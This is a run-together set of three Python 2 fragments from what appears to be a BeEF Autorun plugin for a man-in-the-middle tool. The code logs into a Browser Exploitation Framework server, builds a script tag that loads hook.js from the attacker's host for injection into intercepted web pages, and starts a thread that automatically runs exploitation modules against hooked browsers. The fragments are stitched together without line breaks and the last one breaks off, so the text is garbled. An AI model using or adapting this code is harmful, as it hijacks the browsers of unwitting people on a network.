def initialize(self, options): self.options = options self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg self.beefip = options.beefip self.beefport = options.beefport self.beefuser = options.beefuser self.beefpass = options.beefpass beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) if beef.login(self.beefuser, self.beefpass): print "[*] Successfully logged in to BeEF" else: sys.exit("[-] Error logging in to BeEF!") userconfig = ConfigObj(self.autoruncfg) self.Mode = userconfig['mode'] self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef, )) t.setDaemon(True) t.start()
def initialize(self, options): self.options = options self.autoruncfg = options.autoruncfg self.hookip = options.hookip self.beefip = options.beefip self.beefport = options.beefport self.beefuser = options.beefuser self.beefpass = options.beefpass self.dis_inject = options.dis_inject beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport}) if beef.login(self.beefuser, self.beefpass): print "[*] Successfully logged in to BeEF" else: sys.exit("[-] Error logging in to BeEF!") userconfig = ConfigObj(self.autoruncfg) self.Mode = userconfig['mode'] self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] if self.dis_inject: if not self.hookip: sys.exit("[-] BeEFAutorun requires --hookip") Inject.initialize(self, options) self.count_limit = 1 self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % (self.hookip, self.beefport) print "[*] BeEFAutorun plugin online => Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start()
try: userconfig = options.configfile['BeEFAutorun'] except Exception, e: sys.exit("[-] Error parsing config for BeEFAutorun: " + str(e)) self.Mode = userconfig['mode'] self.All_modules = userconfig["ALL"] self.Targeted_modules = userconfig["targets"] Inject.initialize(self, options) self.black_ips = [] self.html_payload = '<script type="text/javascript" src="http://%s:%s/hook.js"></script>' % ( self.ip_address, beefconfig['beefport']) beef = beefapi.BeefAPI({ "host": beefconfig['beefip'], "port": beefconfig['beefport'] }) if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") print "| |_ Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef, )) t.setDaemon(True) t.start() def autorun(self, beef): already_ran = [] already_hooked = []